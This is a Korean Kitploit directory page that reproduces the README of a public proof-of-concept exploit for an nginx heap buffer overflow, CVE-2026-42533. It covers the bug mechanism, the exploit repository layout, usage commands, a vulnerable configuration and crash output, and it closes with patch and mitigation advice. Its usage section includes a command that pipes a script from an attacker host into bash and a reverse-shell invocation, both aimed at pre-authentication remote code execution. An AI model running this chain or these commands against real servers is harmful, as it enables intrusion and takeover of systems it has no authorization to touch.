Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-42533 — nginx 힙 버퍼 오버플로(CVE-2026-42533)를 위한 익스플로잇으로, two-pass capture clobbering을 통해 사전 인증 RCE를 제공합니다. 정보 유출, 힙 스프레이 및 리버스 셸 모듈을 포함합니다. | Kitploit
도구/GitHubGitHub/imbas007/cve-2026-42533
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPayload DevelopmentBinary Exploitation
GitHubimbas007/cve-2026-42533

CVE-2026-42533

nginx 힙 버퍼 오버플로(CVE-2026-42533)를 위한 익스플로잇으로, two-pass capture clobbering을 통해 사전 인증 RCE를 제공합니다. 정보 유출, 힙 스프레이 및 리버스 셸 모듈을 포함합니다.

저장소 보기
32925일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-42533 — nginx 힙 버퍼 오버플로우 PoC 익스플로잇

Two-Pass 캡처 클로버링을 통한 사전 인증 원격 코드 실행

공개 PoC 배포일 2026-07-27 — 기다리지 말고 지금 패치하세요.

CVECVE-2026-42533
CVSS 4.09.2 (치명적)
유형힙 버퍼 오버플로우 (CWE-122)
영향받는 버전nginx 0.9.6 – 1.30.3 (stable), 0.9.6 – 1.31.2 (mainline)
수정 버전nginx 1.30.4 / 1.31.3, NGINX Plus R36 P7 / 37.0.3.1
공개일2026-07-15 (F5 / NGINX)
PoC 배포일2026-07-27
연구자Stan Shaw (0xCyberstan)

동작 확인 결과

플랫폼진단오버플로우크래시정보 유출
Ubuntu 24.04 x86_64✅✅✅ SIGABRT⚠️ 부분적

개요

CVE-2026-42533은 nginx의 two-pass 문자열 평가 엔진에서 발생하는 치명적인 힙 버퍼 오버플로우입니다. 정규식 기반 map 지시어가 번호가 매겨진 캡처 그룹($1, $2 등)과 상호작용할 때, 공유되는 r->captures 구조체가 LEN(측정) 패스와 VALUE(쓰기) 패스 사이에서 조용히 덮어써집니다. 이로 인해 크기 불일치가 발생합니다:

  • 캡처 값이 더 큰 경우 → 힙 버퍼 오버플로우 (공격자가 제어하는 경계 밖 쓰기)
  • 캡처 값이 더 작은 경우 → 정보 유출 (초기화되지 않은 힙 메모리 노출, libc/힙 포인터 유출)

이 두 프리미티브를 연쇄적으로 사용하면 ASLR을 우회하는 안정적인 사전 인증 RCE가 가능해집니다 — Ubuntu 24.04에서 10/10 신뢰도로 입증되었습니다.

동작 원리

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  LEN PASS (measure)                                          │
│    $1 from location ~ ^/api/(...)$ = "abc" → measures 3 bytes│
│    $overflow_gadget = giant_header → measures 5000 bytes     │
│    Buffer allocated: 5003 bytes                              │
│                                                              │
│  [ $overflow_gadget triggers map regex → clobbers $1 ]      │
│    $1 now = giant_header (5000 bytes)                        │
│                                                              │
│  VALUE PASS (write)                                          │
│    $1 writes 5000 bytes (LEN said 3!)  → OVERFLOW!          │
│    $overflow_gadget writes 5000 bytes                        │
│    Total written: 10000 bytes into 5003-byte buffer          │
│    → 4997 bytes overflow into adjacent heap                  │
└─────────────────────────────────────────────────────────────┘

오버플로우는 인접한 힙 구조체를 손상시킵니다. 주요 공격 대상은 ngx_pool_cleanup_t입니다:

root@kitploit:~
struct ngx_pool_cleanup_s {
    ngx_pool_cleanup_pt  handler;  // function pointer → overwrite for RIP control
    void                *data;     // argument to handler
    ngx_pool_cleanup_t  *next;     // next in chain
};

연결 풀이 파괴될 때 handler(data)가 호출되어 → 임의 코드 실행이 발생합니다.

저장소 구조

root@kitploit:~
CVE-2026-42533/
├── exploit/
│   ├── exploit.py       # Full exploit chain (leak → spray → overflow → RCE)
│   ├── leak.py          # Info leak module (heap/libc pointer leak)
│   ├── overflow.py      # Heap overflow module (crash / RCE trigger)
│   ├── analyze.py       # GDB analysis helper for offset determination
│   └── requirements.txt # Python dependencies
├── nginx/
│   └── nginx.conf       # Vulnerable nginx configuration
├── Dockerfile            # Docker build for test environment (Ubuntu 24.04)
├── docker-compose.yml    # Docker Compose for easy deployment
└── README.md

빠른 시작

사전 요구사항

  • requests가 포함된 Python 3.8+
  • 대상: 취약한 설정이 적용된 nginx 0.9.6–1.30.3/1.31.2 (아래 참조)

1. 취약점 검증 (안전)

root@kitploit:~
# Diagnostic mode — shows two-pass mismatch (safe, no crash)
python3 exploit/overflow.py <target> --diagnose

출력:

root@kitploit:~
  header=   10: LEN=   13 actual=   13 internal_overflow=    7 ✓
  header=  100: LEN=  103 actual=  103 internal_overflow=   97 ✓
  header= 1000: LEN= 1003 actual= 1003 internal_overflow=  997 ✓

2. 크래시 PoC (익스플로잇 가능성 입증)

root@kitploit:~
python3 exploit/overflow.py <target> --crash

Ubuntu 24.04에서의 결과:

root@kitploit:~
worker process 12282 exited on signal 6 (core dumped)
free(): invalid next size (normal)

3. 테스트 환경 구축

root@kitploit:~
# Ubuntu 24.04 (confirmed working)
ssh root@<your-server>
apt-get install -y build-essential libpcre2-dev libssl-dev zlib1g-dev
wget https://nginx.org/download/nginx-1.27.4.tar.gz
tar xzf nginx-1.27.4.tar.gz && cd nginx-1.27.4
./configure --prefix=/usr/local/nginx --with-cc-opt='-g -O0'
make -j$(nproc) && make install

# Copy vulnerable config
cp nginx/nginx.conf /usr/local/nginx/conf/nginx.conf
/usr/local/nginx/sbin/nginx

# Run exploit from your machine
python3 exploit/overflow.py <server-ip> --diagnose

4. Docker (대안)

root@kitploit:~
docker compose up -d --build
python3 exploit/overflow.py localhost --port 8080 --diagnose

사용법

전체 익스플로잇 체인

root@kitploit:~
python3 exploit/exploit.py <target> [options]

# Examples:
python3 exploit/exploit.py 192.168.1.100                    # full auto
python3 exploit/exploit.py 192.168.1.100 --leak-only        # recon only
python3 exploit/exploit.py 192.168.1.100 --crash            # verify vuln
python3 exploit/exploit.py 192.168.1.100 --cmd "id > /tmp/pwned"

# Manual mode (if you have pre-leaked addresses)
python3 exploit/exploit.py 192.168.1.100 \
    --libc 0x7f1234000000 \
    --heap 0x5a1234000000 \
    --cmd "curl http://attacker/shell.sh | bash"

# Reverse shell
python3 exploit/exploit.py 192.168.1.100 \
    --reverse-shell --lhost 10.0.0.1 --lport 4444

정보 유출 모듈

root@kitploit:~
python3 exploit/leak.py <target> [options]

# Quiet mode (just output addresses)
python3 exploit/leak.py 192.168.1.100 -q
# LIBC:0x7f1234567890
# HEAP:0x5a1234567890

오버플로우 모듈

root@kitploit:~
python3 exploit/overflow.py <target> --crash     # crash worker (PoC)
python3 exploit/overflow.py <target> --spray     # heap spray only

취약한 설정 패턴

이 익스플로잇은 nginx 설정에서 다음과 같은 특정 패턴을 필요로 합니다:

root@kitploit:~
# 1. A regex-based map (clobbers capture state)
map $http_x_overflow $overflow_gadget {
    "~^(.+)$"  $1;       # regex match overwrites $1
    default    "";
}

# 2. A regex location (creates captures)
server {
    location ~ ^/api/(...)$ {   # creates $1, $2, ...
        # 3. Both capture AND map variable in same directive
        return 200 "$1$overflow_gadget";   # ← two-pass sink
    }
}

공개 스캐너를 사용한 취약한 설정 탐지:

  • https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner

크래시 증명 (Ubuntu 24.04)

root@kitploit:~
Worker PID:  12282

[Phase 1] Diagnostic:
  header=100:  LEN=103,  response=103  ✓
  header=1000: LEN=1003, response=1003 ✓ (997 byte internal overflow!)

[Phase 2] Heap Corruption:
  8000-byte header → VALUE writes 16000 bytes into 8003-byte buffer
  → 7997 bytes overflow past buffer boundary

Worker PID:  12331  (NEW — old worker DEAD!)

Error log:
  free(): invalid next size (normal)
  worker process 12282 exited on signal 6 (core dumped)

완화 방안

즉시 조치 (패치)

root@kitploit:~
# Upgrade to patched versions:
# nginx 1.30.4+ (stable) / 1.31.3+ (mainline)
# NGINX Plus R36 P7 / 37.0.3.1

임시 우회 조치

map 지시어에서 번호가 매겨진 캡처를 명명된 캡처로 대체하세요:

root@kitploit:~
# VULNERABLE
map $http_foo $bar {
    "~^(.+)$"  $1;    # numbered capture → clobbers shared state
}

# MITIGATED
map $http_foo $bar {
    "~^(?<val>.+)$"  $val;  # named capture → isolated
}

탐지

  • 설정 스캐너 실행: https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner
  • 예기치 않은 nginx worker 재시작 모니터링
  • nginx 버전 확인: nginx -v (1.30.4 이상 또는 1.31.3 이상이어야 함)

참고 자료

  • F5 보안 권고
  • 0xCyberstan 기술 분석
  • CVE-2026-42533 설정 스캐너

고지 사항

이 PoC는 보안 연구 및 방어 목적으로 공개되었습니다. 소유한 시스템 또는 명시적 테스트 승인을 받은 시스템에 대해서만 사용하세요. 이 취약점은 이미 패치되었으므로, 아직 업그레이드하지 않았다면 즉시 업그레이드하세요.

도구 다운로드